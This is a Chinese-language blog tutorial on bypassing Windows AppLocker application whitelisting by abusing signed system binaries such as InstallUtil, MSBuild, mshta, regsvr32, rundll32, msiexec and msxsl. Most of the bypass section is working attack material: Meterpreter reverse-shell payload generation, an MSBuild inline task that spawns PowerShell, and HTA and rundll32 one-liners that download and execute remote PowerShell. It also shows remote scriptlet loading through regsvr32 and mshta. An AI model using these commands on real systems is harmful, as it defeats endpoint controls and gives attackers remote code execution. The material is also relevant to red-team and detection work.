AppLocker绕过之路
liebian365 2024-11-18 14:19 2 浏览 0 评论
原创 lengyi合天智汇
前言
在提权中我们经常会遇到目标开启了Applocker的情况,本文将以https://github.com/api0cradle/UltimateAppLockerByPassList为参考,讲解Applocker的绕过技术。
这不仅仅是一个applocker的bypass文章,也是一个白名单利用文章。
(若无特殊说明,实验环境一律为windows server 2012 r2)
什么是applocker
AppLocker即“应用程序控制策略”,是Windows 7系统中新增加的一项安全功能。在win7以上的系统中默认都集成了该功能,我们可以使用在services中启用Application Identity,然后在local security policy中找到Application Control Policies中看到Applocker选项。
applocker规则
默认的Applocker规则支持以下几种:
规则集合 | 关联的文件格式 ---|--- 可执行文件 | .exe、.com 脚本 | .ps1、.bat、.cmd、.vbs、.js Windows Installer 文件 | .msi、.msp、.mst 封装应用和封装应用安装程序 | .appx DLL 文件 | .dll、.ocx
.appx并不是所有的applocker都会存在,应根据windows版本来,在win10上,创建applocker规则后会在C:\Windows\System32\AppLocker生产相应的.applocker文件。
applocker规则条件
规则条件是用于帮助 AppLocker 标识要应用规则的应用的标准。三个主要规则条件为发布者、路径和文件哈希。
- 发布者:基于应用的数字签名标识它
- 路径:通过应用在计算机文件系统中或网络上的位置来标识它
- 文件哈希:表示已标识文件的系统计算的加密哈希
AppLocker 默认规则
在你创建了一个applocker规则后,系统会默认询问你是否添加一条默认规则,如下图所示:
每个规则所对应的默认规则如下:
可执行的默认规则类型包括:
- 允许本地 Administrators 组的成员运行所有应用。
- 允许 Everyone 组的成员运行 Windows 文件夹中的应用。
- 允许 Everyone 组的成员运行 Program Files 文件夹中的应用。
脚本默认规则类型包括:
- 允许本地 Administrators 组的成员运行所有脚本。
- 允许 Everyone 组的成员运行 Program Files 文件夹中的脚本。
- 允许 Everyone 组的成员运行 Windows 文件夹中的脚本。
Windows Installer 默认规则类型包括:
- 允许本地 Administrators 组的成员运行所有 Windows Installer 文件。
- 允许 Everyone 组的成员运行所有已进行数字签名的 Windows Installer 文件。
- 允许 Everyone 组的成员运行 Windows\Installer 文件夹中的所有 Windows Installer 文件。
DLL 默认规则类型:
- 允许本地 Administrators 组的成员运行所有 DLL。
- 允许 Everyone 组的成员运行 Program Files 文件夹中的 DLL。
- 允许 Everyone 组的成员运行 Windows 文件夹中的 DLL。
封装应用默认规则类型:
- 允许 Everyone 组的成员安装和运行所有已签名的封装应用和封装应用安装程序
AppLocker 规则行为
可将规则配置为使用允许或拒绝操作:
- 允许。你可以指定允许在你的环境中运行的文件以及所针对的用户或用户组。你还可以配置例外以标识从规则中排除的文件。
- 拒绝。你可以指定 not 允许在你的环境中运行的文件以及所针对的用户或用户组。你还可以配置例外以标识从规则中排除的文件。
创建一个applocker规则
讲了那么多,我们以禁止在桌面上运行exe文件为例,创建一条规则。创建完大体如下:
运行exe测试:
系统就会阻止我们运行
bypass Applocker
Installutil.exe
InstallUtil是.NET Framework的一部分,是一个命令行程序,它使用户可以通过命令提示符快速安装和卸载应用程序。由于此实用程序是Microsoft签名的二进制文件,因此可以用来绕过AppLocker限制来运行任何.NET可执行文件。该实用程序也位于Windows文件夹内,该文件夹不会应用AppLocker策略,因为需要执行Windows文件夹的内容才能使系统正常运行。
首先我们使用WhiteListEvasion(https://github.com/khr0x40sh/WhiteListEvasion)生成一个模板
python InstallUtil.py --cs_file pentestlab.cs
--exe_file /root/Desktop/pentestlab.exe --payload
windows/meterpreter/reverse_https --lhost 192.168.0.103 --lport 443
上面的命令将生成一个C#模板,其中将包含Metasploit ShellCode。
将生成后的文件放到目标中使用下面的方法执行:
C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe /logfile= /LogToConsole=false /U /root/payload.exe
当然你也可以是先使用msf生成一个csharp的payload,然后替换模板中的shellcode,然后将cs文件传到目标机。
然后用csc编译我们的脚本:
C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /out:exeshell.exe exeshell.cs
此时我们执行我们的文件试试:
被规则拦截,那么我们使用
C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe /logfile= /LogToConsole=false /U exeshell.exe
绕过
msf成功上线
在msf中也有使用InstallUtil.exe进行applocker的bypass模块。
exploit/windows/local/applocker_bypass
原理是一样的
附带常见的路径:
- C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe
- C:\Windows\Microsoft.NET\Framework64\v2.0.50727\InstallUtil.exe
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
Msbuild.exe
MSBuild.exe(Microsoft Build Engine)是Visual Studio使用的软件构建平台。它采用XML格式的项目文件,这些文件定义了构建各种平台和配置的要求。(引用:MSDN MSBuild)
我们可以使用MSBuild通过受信任的Windows实用工具代理代码执行。.NET版本4中引入的MSBuild内联任务功能允许将C#代码插入XML项目文件中。内联任务MSBuild将编译并执行内联任务。MSBuild.exe是一个经过签名的Microsoft二进制文件,因此,以这种方式使用它时,它可以执行任意代码,并绕过配置为允许MSBuild.exe执行的应用程序白名单防护.
我们这里直接使用GreatSCT生成一个xml文件。
./GreatSCT.py --ip 192.168.0.106 --port 4444 -t bypass -p msbuild/meterpreter/rev_tcp.py
并且会给我们生成一个rc文件,我们可以使用msfconsole -r 直接启动msf
然后使用msbuild执行,
msf上线:
当然你也可以是使用msf生成一个c#的shellcode然后使用三好学生师傅的模板加载:
https://github.com/3gstudent/msbuild-inline-task/blob/master/executes%20shellcode.xml
注意将后缀名改为.csproj
除了反弹shell以外我们还可以用它来绕过powershell的限制。
代码如下:
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!-- This inline task executes c# code. -->
<!-- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe pshell.xml -->
<!-- Author: Casey Smith, Twitter: @subTee -->
<!-- License: BSD 3-Clause -->
<Target Name="Hello">
<FragmentExample />
<ClassExample />
</Target>
<UsingTask
TaskName="FragmentExample"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
<ParameterGroup/>
<Task>
<Using Namespace="System" />
<Using Namespace="System.IO" />
<Code Type="Fragment" Language="cs">
<![CDATA[
Console.WriteLine("Hello From Fragment");
]]>
</Code>
</Task>
</UsingTask>
<UsingTask
TaskName="ClassExample"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
<Task>
<Reference Include="System.Management.Automation" />
<Code Type="Class" Language="cs">
<![CDATA[
using System;
using System.IO;
using System.Diagnostics;
using System.Reflection;
using System.Runtime.InteropServices;
//Add For PowerShell Invocation
using System.Collections.ObjectModel;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Text;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
public class ClassExample : Task, ITask
{
public override bool Execute()
{
while(true)
{
Console.Write("PS >");
string x = Console.ReadLine();
try
{
Console.WriteLine(RunPSCommand(x));
}
catch (Exception e)
{
Console.WriteLine(e.Message);
}
}
return true;
}
//Based on Jared Atkinson's And Justin Warner's Work
public static string RunPSCommand(string cmd)
{
//Init stuff
Runspace runspace = RunspaceFactory.CreateRunspace();
runspace.Open();
RunspaceInvoke scriptInvoker = new RunspaceInvoke(runspace);
Pipeline pipeline = runspace.CreatePipeline();
//Add commands
pipeline.Commands.AddScript(cmd);
//Prep PS for string output and invoke
pipeline.Commands.Add("Out-String");
Collection<PSObject> results = pipeline.Invoke();
runspace.Close();
//Convert records to strings
StringBuilder stringBuilder = new StringBuilder();
foreach (PSObject obj in results)
{
stringBuilder.Append(obj);
}
return stringBuilder.ToString().Trim();
}
public static void RunPSFile(string script)
{
PowerShell ps = PowerShell.Create();
ps.AddScript(script).Invoke();
}
}
]]>
</Code>
</Task>
</UsingTask>
</Project>
原地址:https://github.com/3gstudent/msbuild-inline-task/blob/master/executes%20PowerShellCommands.xml
成功绕过对powershell的限制。
常见路径如下:
- C:\Windows\Microsoft.NET\Framework\v2.0.50727\Msbuild.exe
- C:\Windows\Microsoft.NET\Framework64\v2.0.50727\Msbuild.exe
- C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe
- C:\Windows\Microsoft.NET\Framework64\v3.5\Msbuild.exe
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Msbuild.exe
Mshta.exe
mshta.exe是微软Windows操作系统相关程序,英文全称Microsoft HTML Application,可翻译为微软超文本标记语言应用,用于执行.HTA文件。默认已集成在环境变量中。
使用Mshta的方式有很多,我们这里使用msf的exploit/windows/misc/hta_server模块进行测试:
use exploit/windows/misc/hta_server
msf exploit(windows/misc/hta_server) > set srvhost 192.168.1.109
msf exploit(windows/misc/hta_server) > exploit
目标机执行:
mshta.exe http://192.168.0.106:8080/JR1gb3TO6.hta
即可上线。
除了这种方法hta还可以使用cobaltstrike 、Setoolkit、Magic unicorn、Empire、CactusTorch、Koadic、Great SCT等进行上线。
除了本地文件,mshta还支持远程下载的方式执行payload,比如:
mshta.exe javascript:a=GetObject("script:https://gist.github.com/someone/something.sct").Exec();close();
除了以上的方式,mshta可以用用来执行powershell:
<HTML>
<HEAD>
<script language="VBScript">
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://ip:port/')"
</script>
</HEAD>
<BODY>
</BODY>
</HTML>
即使applocker已经禁止powershell执行了
InfDefaultInstall.exe
InfDefaultInstall.exe是一个用来进行inf安装的工具,具有微软签名,存在路径为:
- C:\Windows\System32\Infdefaultinstall.exe
- C:\Windows\SysWOW64\Infdefaultinstall.exe
我们也可以用它来绕过一些限制。用法就是直接该文件后面跟你的inf文件即可。
它的执行流程如下:
作者给出的poc地址如下:
https://gist.github.com/KyleHanslovan/5e0f00d331984c1fb5be32c40f3b265a
思路也和图中那样,使用shady.inf去调用远程的sct后门。
不过他的调用需要更高的权限,我在win10下运行的截图:
Mavinject.exe
Mavinject是win10上面自带的windows组件,我们可以用它来进行dll注入,并绕过部分限制。
用法如下:
mavinject32.exe <PID> <PATH DLL>
常见路径如下:
- C:\Program Files\Common Files\microsoft shared\ClickToRun\MavInject32.exe
- C:\Windows\System32\mavinject.exe
- C:\Windows\SysWOW64\mavinject.exe
但是我本地复现的时候并没有成功注入,但是也没有什么提示,不知道具体原因是什么,版本为: 10.0.15063.0 (WinBuild.160101.0800)
应该是可以成功注入的,附上一张推特大佬成功的图。
有兴趣的可以多尝试几个系统。
MSIEXEC
MSIEXEC是Microsoft的应用程序,可用于从命令行安装或配置产品。这个其实不是很陌生的了,我之前也写过用它来进行提权的文章。我们假设可以执行msi文件,用它来绕过applocker对powershell的限制。
先用msf生成一个msi文件。
msfvenom -f msi -p windows/exec CMD=powershell.exe > powershell.msi
windows下执行:
成功绕过。
msxsl.exe
msxsl.exe是一个xml的转换器,带有微软数字签名。下载地址如下:
https://www.microsoft.com/en-us/download/details.aspx?id=21714
我们使用3gstudent来尝试绕过applocker对calc的限制,
customers.xml:
<?xml version="1.0"?>
<?xml-stylesheet type="text/xsl" href="script.xsl" ?>
<customers>
<customer>
<name>John Smith</name>
<address>123 Elm St.</address>
<phone>(123) 456-7890</phone>
</customer>
<customer>
<name>Mary Jones</name>
<address>456 Oak Ave.</address>
<phone>(156) 789-0123</phone>
</customer>
</customers>
script.xml:
<?xml version='1.0'?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:user="http://mycompany.com/mynamespace">
<msxsl:script language="JScript" implements-prefix="user">
function xml(nodelist) {
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
return nodelist.nextNode().xml;
}
</msxsl:script>
<xsl:template match="/">
<xsl:value-of select="user:xml(.)"/>
</xsl:template>
</xsl:stylesheet>
成功绕过:
当然也可以执行我们的shellcode,具体参考:
https://raw.githubusercontent.com/3gstudent/Use-msxsl-to-bypass-AppLocker/master/shellcode.xml
Regsvr32.exe
regsvr32是Windows命令行实用程序,用于将.dll文件和ActiveX控件注册和注销到注册表中。
文件位置:
- C:\Windows\System32\regsvr32.exe
- C:\Windows\SysWOW64\regsvr32.exe
下面为大家演示,绕过applocker上线。
scT文件内容如下:
<?XML version="1.0"?>
<scriptlet>
<registration
progid="Pentest"
classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("cmd /k cd c:\ & pentestlab.exe");
]]>
</script>
</registration>
</scriptlet>
各参数的含义:
- 静默不显示任何消息// / s
- 不调用DLL注册服务器// / n
- 要使用另一个IP地址,因为它不会调用DLL注册服务器// / i
- 使用取消注册方法// / u
除了本地执行,它还支持远程加载:
regsvr32 /u /n /s /i:http://ip:port/payload.sct scrobj.dll
sct我们使用GreatSct生成即可。
Rundll32.exe
Rundll32是一个Microsoft二进制文件,可以执行DLL文件中的代码。由于此实用程序是Windows操作系统的一部分,因此可以用作绕过AppLocker规则或软件限制策略的方法
先生成我们的payload:
目标机执行:
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://ip:port/');"
上线:
除了远程之外,也可以本地上线:
rundll32 shell32.dll,Control_RunDLL C:\Users\pentestlab.dll
也可以用来绕过对某些软件的限制,比如弹个cmd:
后记
前人载树、后人乘凉。感谢各位师傅的辛苦付出,
声明:笔者初衷用于分享与普及网络知识,若读者因此作出任何危害网络安全行为后果自负,与合天智汇及原作者无关!
- 上一篇:前端如何让网页变灰
- 下一篇:专业简单的系统优化工具:CCleaner
相关推荐
- 快递查询教程,批量查询物流,一键管理快递
-
作为商家,每天需要查询许许多多的快递单号,面对不同的快递公司,有没有简单一点的物流查询方法呢?小编的回答当然是有的,下面随小编一起来试试这个新技巧。需要哪些工具?安装一个快递批量查询高手快递单号怎么快...
- 一键自动查询所有快递的物流信息 支持圆通、韵达等多家快递
-
对于各位商家来说拥有一个好的快递软件,能够有效的提高自己的工作效率,在管理快递单号的时候都需要对单号进行表格整理,那怎么样能够快速的查询所有单号信息,并自动生成表格呢?1、其实方法很简单,我们不需要一...
- 快递查询单号查询,怎么查物流到哪了
-
输入单号怎么查快递到哪里去了呢?今天小编给大家分享一个新的技巧,它支持多家快递,一次能查询多个单号物流,还可对查询到的物流进行分析、筛选以及导出,下面一起来试试。需要哪些工具?安装一个快递批量查询高手...
- 3分钟查询物流,教你一键批量查询全部物流信息
-
很多朋友在问,如何在短时间内把单号的物流信息查询出来,查询完成后筛选已签收件、筛选未签收件,今天小编就分享一款物流查询神器,感兴趣的朋友接着往下看。第一步,运行【快递批量查询高手】在主界面中点击【添...
- 快递单号查询,一次性查询全部物流信息
-
现在各种快递的查询方式,各有各的好,各有各的劣,总的来说,还是有比较方便的。今天小编就给大家分享一个新的技巧,支持多家快递,一次能查询多个单号的物流,还能对查询到的物流进行分析、筛选以及导出,下面一起...
- 快递查询工具,批量查询多个快递快递单号的物流状态、签收时间
-
最近有朋友在问,怎么快速查询单号的物流信息呢?除了官网,还有没有更简单的方法呢?小编的回答当然是有的,下面一起来看看。需要哪些工具?安装一个快递批量查询高手多个京东的快递单号怎么快速查询?进入快递批量...
- 快递查询软件,自动识别查询快递单号查询方法
-
当你拥有多个快递单号的时候,该如何快速查询物流信息?比如单号没有快递公司时,又该如何自动识别再去查询呢?不知道如何操作的宝贝们,下面随小编一起来试试。需要哪些工具?安装一个快递批量查询高手快递单号若干...
- 教你怎样查询快递查询单号并保存物流信息
-
商家发货,快递揽收后,一般会直接手动复制到官网上一个个查询物流,那么久而久之,就会觉得查询变得特别繁琐,今天小编给大家分享一个新的技巧,下面一起来试试。教程之前,我们来预览一下用快递批量查询高手...
- 简单几步骤查询所有快递物流信息
-
在高峰期订单量大的时候,可能需要一双手当十双手去查询快递物流,但是由于逐一去查询,效率极低,追踪困难。那么今天小编给大家分享一个新的技巧,一次能查询多个快递单号的物流,下面一起来学习一下,希望能给大家...
- 物流单号查询,如何查询快递信息,按最后更新时间搜索需要的单号
-
最近有很多朋友在问,如何通过快递单号查询物流信息,并按最后更新时间搜索出需要的单号呢?下面随小编一起来试试吧。需要哪些工具?安装一个快递批量查询高手快递单号若干怎么快速查询?运行【快递批量查询高手】...
- 连续保存新单号功能解析,导入单号查询并自动识别批量查快递信息
-
快递查询已经成为我们日常生活中不可或缺的一部分。然而,面对海量的快递单号,如何高效、准确地查询每一个快递的物流信息,成为了许多人头疼的问题。幸运的是,随着科技的进步,一款名为“快递批量查询高手”的软件...
- 快递查询教程,快递单号查询,筛选更新量为1的单号
-
最近有很多朋友在问,怎么快速查询快递单号的物流,并筛选出更新量为1的单号呢?今天小编给大家分享一个新方法,一起来试试吧。需要哪些工具?安装一个快递批量查询高手多个快递单号怎么快速查询?运行【快递批量查...
- 掌握批量查询快递动态的技巧,一键查找无信息记录的两种方法解析
-
在快节奏的商业环境中,高效的物流查询是确保业务顺畅运行的关键。作为快递查询达人,我深知时间的宝贵,因此,今天我将向大家介绍一款强大的工具——快递批量查询高手软件。这款软件能够帮助你批量查询快递动态,一...
- 从复杂到简单的单号查询,一键清除单号中的符号并批量查快递信息
-
在繁忙的商务与日常生活中,快递查询已成为不可或缺的一环。然而,面对海量的单号,逐一查询不仅耗时费力,还容易出错。现在,有了快递批量查询高手软件,一切变得简单明了。只需一键,即可搞定单号查询,一键处理单...
- 物流单号查询,在哪里查询快递
-
如果在快递单号多的情况,你还在一个个复制粘贴到官网上手动查询,是一件非常麻烦的事情。于是乎今天小编给大家分享一个新的技巧,下面一起来试试。需要哪些工具?安装一个快递批量查询高手快递单号怎么快速查询?...
你 发表评论:
欢迎- 一周热门
- 最近发表
- 标签列表
-
- wireshark怎么抓包 (75)
- qt sleep (64)
- cs1.6指令代码大全 (55)
- factory-method (60)
- sqlite3_bind_blob (52)
- hibernate update (63)
- c++ base64 (70)
- nc 命令 (52)
- wm_close (51)
- epollin (51)
- sqlca.sqlcode (57)
- lua ipairs (60)
- tv_usec (64)
- 命令行进入文件夹 (53)
- postgresql array (57)
- statfs函数 (57)
- .project文件 (54)
- lua require (56)
- for_each (67)
- c#工厂模式 (57)
- wxsqlite3 (66)
- dmesg -c (58)
- fopen参数 (53)
- tar -zxvf -c (55)
- 速递查询 (52)